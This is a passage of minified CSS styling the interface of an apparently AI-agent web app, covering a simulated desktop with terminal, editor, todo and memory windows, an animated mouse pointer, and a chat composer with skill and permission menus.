Code,Consolas,monospace;font-size:13px;line-height:1.55;color:#0c1c40;flex:1;overflow-y:auto;padding:12px 18px 16px;background:#fff;border-radius:10px;scrollbar-width:thin;scrollbar-color:rgba(80,97,132,.35) transparent}.virtual-monitor-surface .reading-lines::-webkit-scrollbar{width:6px}.virtual-monitor-surface .reading-lines::-webkit-scrollbar-track{background:transparent}.virtual-monitor-surface .reading-lines::-webkit-scrollbar-thumb{background:#50618459;border-radius:3px}.virtual-monitor-surface .reading-line{display:block}.virtual-monitor-surface .reading-lines .code-line{background:transparent;border:none;padding-left:4px;margin:0}.virtual-monitor-surface .reading-lines .code-line.visible{transform:translate(0)}.virtual-monitor-surface .reading-line.highlight{background:#2f81f72e;border-left:3px solid rgba(47,129,247,.45);padding-left:12px}.virtual-monitor-surface .reading-line.empty{opacity:1;transform:none;color:#60708d;font-style:italic}.virtual-monitor-surface .memory-window{width:360px;height:320px;top:260px;right:360px}.virtual-monitor-surface .todo-window{width:420px;height:320px;top:70px;right:40px}.virtual-monitor-surface .window.visible{opacity:1;pointer-events:auto}.virtual-monitor-surface .extraction-template{display:none!important}.virtual-monitor-surface .window.closing{opacity:0;pointer-events:none;transform:translateY(12px) scale(.98)}.virtual-monitor-surface .window.closing .traffic-dot.red{animation:monitor-dot-press .28s ease;box-shadow:0 0 0 6px #ff5f5640}@keyframes monitor-dot-press{0%{transform:scale(1)}50%{transform:scale(.75)}to{transform:scale(1)}}.virtual-monitor-surface .window-header{background:#e0e7ff;padding:10px 16px;display:flex;align-items:center;gap:8px;font-size:13px;letter-spacing:.04em;color:#1d2351}.virtual-monitor-surface .window-header .traffic-dot{width:10px;height:10px;border-radius:50%;transition:transform .25s ease,box-shadow .25s ease}.virtual-monitor-surface .window-header .window-title{font-weight:600;color:#1c2759;flex:1;text-align:left}.virtual-monitor-surface .traffic-dot.red{background:#ff5f56}.virtual-monitor-surface .traffic-dot.yellow{background:#febe2e}.virtual-monitor-surface .traffic-dot.green{background:#27c93f}.virtual-monitor-surface .browser-body,.virtual-monitor-surface .extraction-body,.virtual-monitor-surface .folder-body,.virtual-monitor-surface .editor-body,.virtual-monitor-surface .terminal-body,.virtual-monitor-surface .reader-body,.virtual-monitor-surface .memory-body,.virtual-monitor-surface .todo-columns{padding:16px}.virtual-monitor-surface .browser-body{display:flex;flex-direction:column;gap:14px;height:100%}.virtual-monitor-surface .search-bar{border:1px solid rgba(47,129,247,.4);border-radius:14px;padding:9px 18px;background:#fff;min-height:42px;display:flex;align-items:center;font-size:14px;color:#0f172a}.virtual-monitor-surface .browser-status{font-size:13px;color:#465066}.virtual-monitor-surface .results-list{background:#ffffffe0;border-radius:12px;padding:12px;flex:1;min-height:0;overflow-y:auto;scroll-behavior:smooth;box-shadow:inset 0 0 0 1px #0f172a0f}.virtual-monitor-surface .results-list ul{list-style:none;margin:0;padding:0;display:flex;flex-direction:column;gap:10px}.virtual-monitor-surface .results-list li{padding:8px 10px;border-radius:10px;background:#fffffff2;font-size:13px}.virtual-monitor-surface .results-list li strong{display:block;color:#0f255c;font-weight:600}.virtual-monitor-surface .results-list li.highlight{border:1px solid rgba(47,129,247,.65);box-shadow:0 0 0 2px #2f81f726}.virtual-monitor-surface .results-list li.target{border:1px solid rgba(13,110,253,.85);box-shadow:0 6px 18px #0d6efd40}.virtual-monitor-surface .extraction-body{display:flex;flex-direction:column;gap:12px;color:#0f255c;height:100%;padding-right:6px}.virtual-monitor-surface .extract-status{font-size:13px;color:#1f6feb;display:flex;gap:6px;align-items:center}.virtual-monitor-surface .extract-status:before{content:"";width:8px;height:8px;border-radius:50%;background:currentColor;box-shadow:0 0 8px currentColor}.virtual-monitor-surface .extract-status.complete{color:#1fb87a}.virtual-monitor-surface .extract-summary{display:flex;flex-direction:column;gap:6px;flex:1;min-height:0;overflow-y:auto;padding-right:4px;scroll-behavior:smooth}.virtual-monitor-surface .extract-summary p{margin:0;font-size:13px;line-height:1.45;background:#ffffffe6;border-radius:8px;padding:6px 10px}.virtual-monitor-surface .extract-summary .extract-block{display:flex;flex-direction:column;gap:6px;background:#fffffff0;border-radius:12px;border:1px solid rgba(15,23,42,.08);padding:10px 12px}.virtual-monitor-surface .extract-summary .extract-block-header{font-size:12px;color:#546083;display:flex;flex-direction:column;gap:2px}.virtual-monitor-surface .extract-summary .extract-block-header strong{color:#102454;font-weight:600}.virtual-monitor-surface .extract-summary .extract-block pre{margin:0;padding:0;background:transparent;font-family:JetBrains Mono,Fira Code,Consolas,monospace;font-size:12px;line-height:1.5;color:#18213c;white-space:pre-wrap;word-break:break-word}.virtual-monitor-surface .folder-body{display:flex;flex-wrap:wrap;gap:14px}.virtual-monitor-surface .folder-entry{display:flex;flex-direction:column;align-items:center;gap:6px;font-size:12px;color:#2b3859;opacity:0;transform:translateY(8px);transition:all .3s ease}.virtual-monitor-surface .folder-entry.visible{opacity:1;transform:translateY(0)}.virtual-monitor-surface .folder-entry.removing{opacity:0;transform:scale(.85)}.virtual-monitor-surface .editor-window{background:#fffffffa;border-color:#0f172a14;color:#0c1c3f}.virtual-monitor-surface .editor-window .window-header{background:#f4f7ff;color:#0c1c3f;border-bottom:1px solid rgba(15,23,42,.06)}.virtual-monitor-surface .terminal-window .window-header{background:#e5ecff;color:#1c2759;border-bottom:1px solid rgba(34,63,142,.12)}.virtual-monitor-surface .editor-body{font-family:JetBrains Mono,Fira Code,Consolas,monospace;display:flex;flex-direction:column;gap:6px;flex:1;padding:12px 18px 16px;overflow-y:auto;scrollbar-width:thin;scrollbar-color:rgba(80,97,132,.35) transparent;background:#fff;color:#0b1f3b}.virtual-monitor-surface .editor-body::-webkit-scrollbar{width:6px}.virtual-monitor-surface .editor-body::-webkit-scrollbar-track{background:transparent}.virtual-monitor-surface .editor-body::-webkit-scrollbar-thumb{background:#50618459;border-radius:3px}.virtual-monitor-surface .code-line{opacity:0;transform:translate(-12px);transition:all .3s ease;position:relative}.virtual-monitor-surface .code-line.visible{opacity:1;transform:translate(0)}.virtual-monitor-surface .code-line.placeholder{opacity:.7;font-style:italic;transform:none}.virtual-monitor-surface .code-line.diff-line{background:#27c9771f;border-left:3px solid rgba(39,201,119,.65);padding-left:10px}.virtual-monitor-surface .code-line.diff-line:before{content:"+";position:absolute;left:-14px;color:#1fb87a;font-weight:600}.virtual-monitor-surface .code-line.diff-replace{background:#ffc1072e;border-left:3px solid rgba(255,193,7,.6);padding-left:10px}.virtual-monitor-surface .code-line.diff-delete{background:#f4433624;border-left:3px solid rgba(244,67,54,.6);text-decoration:line-through}.virtual-monitor-surface .code-line.removing{opacity:0;transform:translate(16px);background:#ff63842e;border-left:3px solid rgba(255,99,132,.65)}.virtual-monitor-surface .terminal-window{background:linear-gradient(180deg,#f9fbff,#eef2ff);color:#0c1c3f;border-color:#3c61be1f;box-shadow:0 18px 44px #19307040}.virtual-monitor-surface .session-terminal-window{width:520px;height:320px;background:linear-gradient(160deg,#f6f3ec,#fff 40%,#f5efe2);color:#3d3929;border:1px solid rgba(118,103,84,.2);box-shadow:0 18px 40px #3d392933;display:flex;flex-direction:column}.virtual-monitor-surface .session-terminal-window .window-header{background:#ffffffe6;color:#5c5243;border-bottom:1px solid rgba(118,103,84,.16)}.virtual-monitor-surface .session-terminal-output{flex:1;min-height:200px;padding:12px 16px 0;background:#fffffff2;overflow-y:auto;font-family:JetBrains Mono,monospace;font-size:13px;line-height:1.55;color:#2e2a1f;scrollbar-width:thin;scrollbar-color:rgba(136,120,99,.35) transparent;box-shadow:inset 0 0 0 1px #76675424;position:relative}.virtual-monitor-surface .session-terminal-output::-webkit-scrollbar{width:6px}.virtual-monitor-surface .session-terminal-output::-webkit-scrollbar-thumb{background:#88786359;border-radius:3px}.virtual-monitor-surface .session-terminal-output:empty:before{content:"等待终端输出...";color:#7f7766;opacity:.85}.virtual-monitor-surface .session-terminal-output pre{margin:0 0 8px;white-space:pre-wrap;word-break:break-word}.virtual-monitor-surface .session-terminal-note-line{color:#9db7d8;font-style:italic}.virtual-monitor-surface .session-terminal-prompt{color:#da7756;font-weight:700;font-size:14px;letter-spacing:.04em}.virtual-monitor-surface .session-terminal-prompt-line{color:#da7756;font-weight:700;font-size:13px;letter-spacing:.03em;margin-bottom:6px}.virtual-monitor-surface .session-terminal-input-line{flex:1;min-height:20px;display:flex;align-items:center;padding:2px 0;font-size:13px;line-height:1.4;letter-spacing:.02em;white-space:pre-wrap;word-break:break-word}.virtual-monitor-surface .terminal-body{display:flex;flex-direction:column;gap:10px;padding:12px 14px 14px;flex:1;min-height:0}.virtual-monitor-surface .terminal-tabs{display:flex;align-items:center;gap:8px;padding:8px 10px;border-radius:12px;background:#e9efffe6;border:1px solid rgba(66,99,181,.12)}.virtual-monitor-surface .terminal-tab-list{display:flex;align-items:center;gap:8px;flex:1;flex-wrap:wrap}.virtual-monitor-surface .terminal-tab{border:1px solid rgba(66,99,181,.16);background:#fff;color:#1c2759;border-radius:10px;padding:6px 12px;font-size:13px;font-weight:600;letter-spacing:.01em;box-shadow:0 6px 14px #1930701f}.virtual-monitor-surface .terminal-tab.active{background:linear-gradient(135deg,#3056d3,#6d8dff);color:#fff;border-color:#3056d347;box-shadow:0 10px 18px #3056d338}.virtual-monitor-surface .terminal-tab.add-tab{width:32px;height:32px;padding:0;display:inline-flex;align-items:center;justify-content:center;font-weight:700;font-size:16px;border-radius:10px;background:#fff;border:1px dashed rgba(66,99,181,.35);color:#2f448b}.virtual-monitor-surface .terminal-tab.add-tab.lonely{margin:0 auto;box-shadow:0 8px 18px #19307029}.virtual-monitor-surface .terminal-output{flex:1;min-height:180px;background:#fff;border-radius:14px;padding:12px 14px;color:#1a2240;font-family:JetBrains Mono,monospace;overflow-y:auto;box-shadow:inset 0 0 0 1px #4263b51f,0 10px 18px #1930701f;scrollbar-width:thin;scrollbar-color:rgba(133,160,220,.35) transparent}.virtual-monitor-surface .terminal-output::-webkit-scrollbar{width:6px}.virtual-monitor-surface .terminal-output::-webkit-scrollbar-track{background:transparent}.virtual-monitor-surface .terminal-output::-webkit-scrollbar-thumb{background:#50618459;border-radius:3px}.virtual-monitor-surface .terminal-output:empty:before{content:"尚未创建终端,点击 + 新建";color:#5a6b94;opacity:.95;font-size:13px}.virtual-monitor-surface .terminal-output pre{margin:0 0 8px;font-size:13px;line-height:1.5;white-space:pre-wrap;word-break:break-word;color:#1a2240}.virtual-monitor-surface .terminal-output pre:last-child{margin-bottom:0}.virtual-monitor-surface .reader-window.focused{box-shadow:0 0 0 2px #2f81f759,0 18px 40px #0f172a59}.virtual-monitor-surface .ocr-panel{margin-top:12px;padding:10px;border-radius:10px;background:#0d182d14}.virtual-monitor-surface .memory-window{background:#f4f6fbfa;border:1px solid rgba(15,23,42,.12);display:flex;flex-direction:column}.virtual-monitor-surface .memory-body{flex:1;min-height:0;display:flex;flex-direction:column}.virtual-monitor-surface .memory-list{display:flex;flex-direction:column;gap:12px;flex:1 1 auto;min-height:0;height:auto;max-height:none;overflow-y:auto;overflow-x:hidden}.virtual-monitor-surface .memory-item{border-radius:14px;padding:12px 14px;background:#fff;border:1px solid rgba(15,23,42,.08);box-shadow:0 8px 20px #0f172a14;display:flex;gap:10px;align-items:flex-start;flex:0 0 auto;min-height:44px;opacity:0;transform:translateY(8px);transition:all .32s ease}.virtual-monitor-surface .memory-text{line-height:1.5;word-break:break-word;white-space:pre-wrap;flex:1 1 auto;display:block;width:100%;overflow:visible}.virtual-monitor-surface .memory-item.visible{opacity:1;transform:translateY(0)}.virtual-monitor-surface .memory-item.editing{box-shadow:0 0 0 2px #4063b240,0 10px 26px #0f172a2e;transform:translateY(-1px) scale(1.01)}.virtual-monitor-surface .memory-item.swipe-out{opacity:0;transform:translate(140%);transition:transform .24s ease,opacity .22s ease}.virtual-monitor-surface .memory-footer.hidden{display:none}.virtual-monitor-surface .todo-window{width:360px;height:300px;top:110px;left:640px;display:flex;flex-direction:column}.virtual-monitor-surface .todo-body{flex:1;display:flex;flex-direction:column;gap:12px;padding:12px;overflow:hidden}.virtual-monitor-surface .todo-summary{max-height:120px;min-height:64px;padding:10px 12px;border-radius:10px;background:#0f172a0a;border:1px solid rgba(15,23,42,.08);overflow-y:auto;line-height:1.5;font-size:13px}.virtual-monitor-surface .todo-progress{flex:1 1 0%;min-height:0;max-height:100%;display:flex;flex-direction:column;gap:10px;height:100%;overflow-y:auto!important;padding-right:2px;overscroll-behavior:contain}.virtual-monitor-surface .todo-summary,.virtual-monitor-surface .todo-progress{scrollbar-width:none;-ms-overflow-style:none}.virtual-monitor-surface .todo-summary::-webkit-scrollbar,.virtual-monitor-surface .todo-progress::-webkit-scrollbar{display:none;width:0;height:0}.virtual-monitor-surface .todo-item{display:grid;grid-template-columns:1fr 32px;gap:10px;align-items:center;padding:12px 14px;border-radius:12px;background:#fff;border:1px solid rgba(15,23,42,.08);box-shadow:0 10px 24px #0f172a1f;opacity:0;transform:translate(-28px);transition:transform .32s ease,opacity .28s ease,box-shadow .22s ease}.virtual-monitor-surface .todo-item.visible{opacity:1;transform:translate(0)}.virtual-monitor-surface .todo-item.done{border-color:#48bb788c;box-shadow:0 10px 24px #48bb782e}.virtual-monitor-surface .todo-text{line-height:1.5;word-break:break-word;white-space:pre-wrap;font-size:13px}.virtual-monitor-surface .todo-check{width:20px;height:20px;border-radius:6px;border:2px solid rgba(15,23,42,.16);display:flex;align-items:center;justify-content:center;transition:all .2s ease;position:relative}.virtual-monitor-surface .todo-check.checked{background:linear-gradient(135deg,#4caf50,#60c78f);border-color:transparent}.virtual-monitor-surface .todo-check.checked:after{content:"✔";color:#fff;font-size:12px;line-height:1}.virtual-monitor-surface .todo-card.done{border:1px solid rgba(39,201,119,.4)}.virtual-monitor-surface .wait-window{width:260px;height:180px;top:120px;left:820px;display:flex;flex-direction:column}.virtual-monitor-surface .wait-body{flex:1;display:flex;align-items:center;justify-content:center;background:radial-gradient(circle at 20% 20%,rgba(118,148,255,.18),transparent 45%),radial-gradient(circle at 80% 30%,rgba(92,209,183,.16),transparent 40%),#f8fbffe6;border-radius:0 0 14px 14px;padding:18px}.virtual-monitor-surface .flip-clock{display:flex;align-items:center;gap:8px;perspective:900px;font-variant-numeric:tabular-nums}.virtual-monitor-surface .flip-separator{font-size:26px;color:#2d3748;margin:0 4px;font-weight:600}.virtual-monitor-surface .flip-digit{position:relative;width:44px;height:56px;border-radius:10px;background:linear-gradient(180deg,#101827,#0b1222);color:#f5fbff;overflow:hidden;box-shadow:0 12px 24px #0e204459;transition:transform .2s ease}.virtual-monitor-surface .flip-digit .top,.virtual-monitor-surface .flip-digit .bottom{position:absolute;left:0;right:0;height:50%;display:flex;align-items:center;justify-content:center;font-size:26px;font-weight:700;backface-visibility:hidden}.virtual-monitor-surface .flip-digit .top{top:0;transform-origin:bottom;background:linear-gradient(180deg,#ffffff14,#fff0)}.virtual-monitor-surface .flip-digit .bottom{bottom:0;transform-origin:top}.virtual-monitor-surface .flip-digit.flipping{animation:flipCard .38s ease forwards}@keyframes flipCard{0%{transform:rotateX(0)}50%{transform:rotateX(-82deg)}to{transform:rotateX(0)}}.virtual-monitor-surface .context-menu{position:absolute;background:#091020f5;color:#e6edff;border-radius:12px;border:1px solid rgba(255,255,255,.08);padding:6px;display:flex;flex-direction:column;gap:4px;min-width:150px;box-shadow:0 12px 30px #0f172a8c;opacity:0;pointer-events:none;transform:translateY(-6px);transition:all .2s ease;z-index:44}.virtual-monitor-surface .context-menu.visible{opacity:1;pointer-events:auto;transform:translateY(0)}.virtual-monitor-surface .context-menu.secondary-menu{z-index:45;min-width:130px}.virtual-monitor-surface .context-menu button{border:none;background:transparent;padding:8px 10px;border-radius:8px;color:inherit;text-align:left;cursor:pointer;font-size:13px}.virtual-monitor-surface .context-menu button.active,.virtual-monitor-surface .context-menu button:hover{background:#2f81f74d}.virtual-monitor-surface .speech-bubble{position:absolute;min-width:180px;max-width:420px;max-height:220px;padding:12px 16px;border-radius:12px;background:#0d182deb;color:#f8fbff;font-size:13px;line-height:1.45;box-shadow:0 14px 28px #0d182d73;opacity:0;transform:scale(.95);pointer-events:auto;transition:opacity .25s ease,transform .25s ease;z-index:40;overflow:visible;transform-origin:bottom left;--arrow-offset: 50%;--arrow-size: 18px}.virtual-monitor-surface .wait-overlay{position:absolute;pointer-events:none;opacity:0;transition:opacity .35s ease;z-index:48;filter:drop-shadow(0 10px 18px rgba(0,0,0,.25))}.virtual-monitor-surface .wait-overlay.active{opacity:1}.virtual-monitor-surface .wait-overlay .z{position:absolute;font-size:28px;font-weight:700;color:#111;opacity:0;animation:swayUpToRight 2s ease-out infinite}.virtual-monitor-surface .wait-overlay.active .z{opacity:1}.virtual-monitor-surface .wait-overlay .z-2{animation-delay:.25s}.virtual-monitor-surface .wait-overlay .z-3{animation-delay:.5s}.virtual-monitor-surface .wait-overlay .z-4{animation-delay:.75s}.virtual-monitor-surface .wait-overlay .wait-countdown{position:absolute;left:34px;top:8px;padding:0;color:#111;background:transparent;border:none;font-size:14px;font-weight:700;letter-spacing:.5px;box-shadow:none}@keyframes swayUpToRight{0%{transform:translate(0) rotate(0);opacity:1}to{transform:translate(80px,-100px) rotate(30deg);opacity:0}}.virtual-monitor-surface .speech-bubble.visible{opacity:1;transform:scale(1)}.virtual-monitor-surface .speech-bubble:after{content:"";position:absolute;width:var(--arrow-size);height:var(--arrow-size);bottom:calc(var(--arrow-size) * -.5);left:var(--arrow-offset);transform:translate(-50%) rotate(45deg);background:inherit}.virtual-monitor-surface .bubble-icon-slot{width:48px;height:48px;display:none;align-items:center;justify-content:center;margin-bottom:8px;animation:bubble-float 1.8s ease-in-out infinite}.virtual-monitor-surface .bubble-icon-slot.show{display:flex}.virtual-monitor-surface .bubble-icon-slot img{width:32px;height:32px}.virtual-monitor-surface .bubble-text-slot{max-height:180px;overflow:auto;white-space:pre-wrap;scrollbar-width:none}.virtual-monitor-surface .bubble-text-slot::-webkit-scrollbar{width:0;height:0}@keyframes bubble-float{0%{transform:translateY(2px)}50%{transform:translateY(-6px)}to{transform:translateY(2px)}}.virtual-monitor-surface .speech-bubble.thinking{background:#5b6073f2}.virtual-monitor-surface .speech-bubble.error{background:#ff4d6deb}.virtual-monitor-surface .mouse-pointer{position:absolute;width:36px;height:36px;pointer-events:none;transform:translate3d(60px,120px,0);transition:transform var(--mouse-duration, .8s) cubic-bezier(.4,0,.2,1);z-index:45}.virtual-monitor-surface .mouse-pointer img{width:100%;height:100%;filter:drop-shadow(0 6px 12px rgba(15,23,42,.4))}.virtual-monitor-surface .click-effect{position:absolute;width:18px;height:18px;border-radius:50%;border:2px solid rgba(47,129,247,.85);pointer-events:none;animation:clickPulse .45s ease;z-index:35}.virtual-monitor-surface .click-effect.right{border-color:#ffa858e6}@keyframes clickPulse{0%{opacity:1;transform:scale(.6)}to{opacity:0;transform:scale(1.8)}}.virtual-monitor-surface .monitor-stand{height:10px;width:180px;background:#0003;border-radius:999px;margin:12px auto 0}@media (max-width: 1320px){.virtual-monitor-surface .desktop-layer{padding:20px}}.input-area{position:absolute;left:0;right:0;bottom:32px;background:transparent;padding:0 24px;flex-shrink:0;pointer-events:none;z-index:30}.compact-input-area{display:flex;justify-content:center;padding-bottom:0;pointer-events:none}.stadium-input-wrapper{position:relative;width:var(--chat-rail-width, min(900px, 94%));pointer-events:auto}.runtime-queue-list{--runtime-queue-bg: var(--theme-surface-soft);--runtime-queue-divider: rgba(15, 23, 42, .12);--runtime-queue-border: rgba(15, 23, 42, .12);position:absolute;left:50%;bottom:calc(100% + 1px);transform:translate(-50%);z-index:1;display:flex;flex-direction:column;width:90%;max-width:90%;margin:0;overflow:visible;background:transparent;border:none;border-radius:0;box-shadow:none;pointer-events:auto}.runtime-queue-list--empty{height:0;border:none;box-shadow:none;background:transparent;margin:0;overflow:visible;pointer-events:none}.runtime-queue-item{position:relative;z-index:var(--runtime-queue-z, 1);min-height:34px;display:flex;flex-direction:row;flex-wrap:nowrap;align-items:center;gap:10px;padding:6px 10px 6px 12px;border-left:1px solid var(--runtime-queue-border);border-right:1px solid var(--runtime-queue-border);border-top:1px solid var(--runtime-queue-border);border-bottom:none;border-radius:0;background:var(--runtime-queue-bg);overflow:hidden}.runtime-queue-item--top{border-top-left-radius:12px;border-top-right-radius:12px}.runtime-queue-item__text{flex:1 1 auto;min-width:0;display:block;font-size:13px;line-height:1.3;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.runtime-queue-item__action{flex-shrink:0;border:none;background:transparent;color:var(--text-secondary);font-size:12px;line-height:1.2;padding:3px 4px;border-radius:6px;cursor:pointer;position:relative;z-index:1}.runtime-queue-item__action:hover{background:var(--theme-chip-bg);color:var(--text-primary)}.runtime-queue-item__action--danger:hover{color:var(--state-danger-strong);background:color-mix(in srgb,var(--state-danger) 12%,transparent)}.runtime-queue-item+.runtime-queue-item:before{content:"";position:absolute;left:0;right:0;top:0;height:1px;background:var(--runtime-queue-divider);pointer-events:none}.skill-slash-menu-wrapper{--skill-slash-row-height: 28px;--skill-slash-gap: 3px;--skill-slash-radius: 9px;--skill-slash-pad-x: 4px;--skill-slash-motion-duration: .3s;--skill-slash-motion-easing: cubic-bezier(.25, .8, .25, 1);--skill-slash-visible-rows: 7;position:absolute;left:50%;bottom:calc(100% - 1px);transform:translate(-50%);z-index:1;width:90%;max-width:90%;box-sizing:border-box;max-height:calc(var(--skill-slash-row-height) * var(--skill-slash-visible-rows) + var(--skill-slash-gap) * (var(--skill-slash-visible-rows) + 1) + 2px + 2px - 2px);border:1px solid var(--border-default);border-top-left-radius:var(--skill-slash-radius);border-top-right-radius:var(--skill-slash-radius);background:var(--surface-soft);box-shadow:none;pointer-events:auto}.skill-slash-menu-motion-enter-active,.skill-slash-menu-motion-leave-active{transition:transform var(--skill-slash-motion-duration, .3s) var(--skill-slash-motion-easing, cubic-bezier(.25, .8, .25, 1)),clip-path var(--skill-slash-motion-duration, .3s) var(--skill-slash-motion-easing, cubic-bezier(.25, .8, .25, 1));transform-origin:bottom center;will-change:transform,clip-path}.skill-slash-menu-motion-enter-active,.skill-slash-menu-motion-leave-active{z-index:1}.skill-slash-menu-motion-enter-from,.skill-slash-menu-motion-leave-to{transform:translate(-50%) translateY(100%);clip-path:inset(0 0 100% 0 round 12px 12px 0 0)}.skill-slash-menu-motion-enter-to,.skill-slash-menu-motion-leave-from{transform:translate(-50%) translateY(0);clip-path:inset(0 0 0 0 round 12px 12px 0 0)}.skill-slash-menu{height:100%;max-height:inherit;overflow-y:auto;scrollbar-width:none;padding:4px var(--skill-slash-pad-x) 6px;display:flex;flex-direction:column;gap:var(--skill-slash-gap)}.skill-slash-menu::-webkit-scrollbar{width:0;height:0}.skill-slash-menu__highlight{position:absolute;left:var(--skill-slash-pad-x);right:var(--skill-slash-pad-x);top:var(--skill-slash-gap);height:var(--skill-slash-row-height);border-radius:7px;background:var(--hover-bg);box-shadow:0 1px 2px var(--shadow-color);pointer-events:none;z-index:1}.skill-slash-item{width:100%;height:var(--skill-slash-row-height);min-height:var(--skill-slash-row-height);flex:0 0 var(--skill-slash-row-height);display:flex;align-items:center;gap:7px;border:none;border-radius:7px;padding:3px 9px;background:transparent;color:var(--text-primary);text-align:left;cursor:pointer}.skill-slash-item:first-child{border-top-left-radius:calc(var(--skill-slash-radius) - var(--skill-slash-gap));border-top-right-radius:calc(var(--skill-slash-radius) - var(--skill-slash-gap))}.skill-slash-item:hover{background:var(--hover-bg);box-shadow:0 1px 2px var(--shadow-color)}.skill-slash-item--active,.skill-slash-item--active:hover{background:transparent;box-shadow:none}.skill-slash-item--disabled,.skill-slash-item:disabled{opacity:.45;cursor:not-allowed}.skill-slash-item--disabled:hover,.skill-slash-item:disabled:hover{background:transparent;box-shadow:none}.skill-slash-item__name{flex:0 0 auto;max-width:160px;color:var(--accent);font-size:12px;font-weight:600;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.skill-slash-item__description{flex:1 1 auto;min-width:0;color:var(--text-secondary);font-size:12px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.skill-slash-empty{height:var(--skill-slash-row-height);min-height:var(--skill-slash-row-height);flex:0 0 var(--skill-slash-row-height);display:flex;align-items:center;padding:3px 9px;color:var(--text-secondary);font-size:11px}body[data-theme=dark] .runtime-queue-list{--runtime-queue-bg: var(--badge-bg);--runtime-queue-divider: rgba(255, 255, 255, .12);--runtime-queue-border: rgba(255, 255, 255, .12);background:transparent}body[data-theme=dark] .runtime-queue-item{background:var(--runtime-queue-bg)}body[data-theme=dark] .runtime-queue-list.runtime-queue-list--empty{background:transparent;border:none;box-shadow:none}body[data-theme=dark] .skill-slash-menu-wrapper{background:var(--badge-bg);border-color:var(--border-default)}body[data-theme=dark] .skill-slash-item__name{color:var(--state-info)}body[data-theme=dark] .skill-slash-item:hover{background:var(--hover-bg);box-shadow:0 1px 2px var(--shadow-color)}body[data-theme=dark] .skill-slash-item--active,body[data-theme=dark] .skill-slash-item--active:hover{background:transparent;box-shadow:none}body[data-theme=dark] .stadium-input-editor .skill-md-link,body[data-theme=dark] .stadium-input-highlight .skill-md-link{color:var(--state-info)}body[data-theme=dark] .stadium-shell,body[data-theme=dark] .stadium-shell.is-focused,body[data-theme=dark] .stadium-shell.has-text{background:var(--badge-bg);border-color:var(--border-card-strong)}body[data-theme=dark] .stadium-input::placeholder{color:var(--text-tertiary)}body[data-theme=dark] .stadium-btn.send-btn{background:var(--text-primary);color:var(--surface-raised);box-shadow:0 1px 3px var(--shadow-color)}body[data-theme=dark] .stadium-btn.send-btn:hover:not(:disabled){background:var(--text-primary);box-shadow:0 1px 3px var(--shadow-color)}body[data-theme=dark] .stadium-btn.send-btn .send-icon{border-left-color:var(--surface-raised)}body[data-theme=dark] .stadium-btn.send-btn .stop-icon{background-color:var(--surface-raised)}body[data-theme=dark] .quick-menu,body[data-theme=dark] .quick-submenu,body[data-theme=dark] .agent-type-switcher__menu{background:var(--badge-bg);border-color:var(--border-card-strong)}body[data-theme=dark] .menu-entry:hover:not(:disabled),body[data-theme=dark] .menu-entry.active{background:var(--tab-active)}body[data-theme=light] .skill-slash-item__name,body[data-theme=light] .stadium-input-editor .skill-md-link,body[data-theme=light] .stadium-input-highlight .skill-md-link{color:var(--state-info)}body[data-theme=light] .stadium-shell,body[data-theme=light] .stadium-shell.is-focused,body[data-theme=light] .stadium-shell.has-text{background:var(--surface-soft)}body[data-theme=light] .stadium-btn.send-btn{background:color-mix(in srgb,var(--text-primary) 78%,transparent);color:var(--surface-raised);box-shadow:0 1px 3px var(--shadow-color)}body[data-theme=light] .stadium-btn.send-btn:hover:not(:disabled){background:var(--text-primary);box-shadow:0 1px 3px var(--shadow-color)}body[data-theme=light] .stadium-btn.send-btn .send-icon{border-left-color:var(--surface-raised)}body[data-theme=light] .stadium-btn.send-btn .stop-icon{background-color:var(--surface-raised)}body[data-theme=light] .menu-entry:hover:not(:disabled){background:var(--chip-bg)}body[data-theme=light] .menu-entry.active{background:var(--surface-muted)}.permission-switcher{--composer-side-control-offset: 20px;position:absolute;left:var(--composer-side-control-offset);bottom:-28px;z-index:35;display:inline-flex;align-items:center;gap:6px}.permission-switcher__block{position:relative}.context-usage-switcher{--composer-side-control-offset: 20px;--context-ring-visual-inset: 5px;position:absolute;right:calc(var(--composer-side-control-offset) - var(--context-ring-visual-inset));bottom:-28px;z-index:35}.context-usage-switcher__btn{border:none;background:transparent;padding:0;width:28px;height:28px;border-radius:999px;display:inline-flex;align-items:center;justify-content:center;cursor:pointer;box-shadow:none}.context-usage-switcher__btn:hover:not(:disabled){background:var(--theme-chip-bg)}.context-usage-switcher__btn:disabled{opacity:.45;cursor:not-allowed}.context-usage-ring{--context-progress: 0%;--context-ring-color: var(--accent);width:18px;height:18px;border-radius:50%;background:conic-gradient(var(--context-ring-color) var(--context-progress),var(--progress-track) 0);display:inline-flex;align-items:center;justify-content:center}.context-usage-ring__inner{width:12px;height:12px;border-radius:50%;background:var(--theme-surface-soft);border:1px solid var(--theme-control-border)}.context-usage-switcher__tooltip{position:absolute;right:0;bottom:calc(100% + 8px);min-width:94px;padding:6px 8px;border-radius:10px;border:1px solid var(--theme-control-border);background:var(--theme-surface-soft);box-shadow:none;color:var(--text-primary);font-size:12px;line-height:1.35;opacity:0;transform:translateY(4px);pointer-events:none;transition:opacity .16s ease,transform .16s ease}.context-usage-switcher:hover .context-usage-switcher__tooltip{opacity:1;transform:translateY(0)}.permission-switcher__btn{border:none;background:transparent;color:var(--text-primary);border-radius:999px;padding:4px 12px;font-size:14px;line-height:1.2;cursor:pointer;box-shadow:none;text-decoration:none;display:inline-flex;align-items:center;gap:6px}.permission-switcher__btn:hover:not(:disabled){color:var(--text-primary);text-decoration:none;background:var(--theme-chip-bg);box-shadow:none}.permission-switcher__btn:disabled{opacity:.45;cursor:not-allowed}.permission-switcher__menu{position:absolute;left:0;bottom:calc(100% + 8px);width:250px;display:flex;flex-direction:column;gap:6px;padding:8px;border:1px solid var(--theme-control-border);border-radius:14px;background:var(--theme-surface-soft);box-shadow:none}.permission-switcher__menu--split{width:560px;max-width:min(560px,100vw - 40px);display:grid;grid-template-columns:1fr 1fr;gap:10px}.permission-switcher__menu--split>:first-child.permission-switcher__group{grid-row:span 2}.permission-switcher__group{display:flex;flex-direction:column;gap:6px}.permission-switcher__group--disabled{opacity:.35;pointer-events:none}.permission-switcher__group-title{font-size:12px;color:var(--text-secondary);font-weight:600;padding:2px 4px;display:flex;align-items:center;justify-content:space-between;gap:8px}.permission-switcher__group-lock{font-size:11px;font-weight:500;color:var(--state-warning);white-space:nowrap}.permission-switcher__caret{font-size:14px;color:var(--text-secondary);transform:rotate(90deg);transition:transform .18s 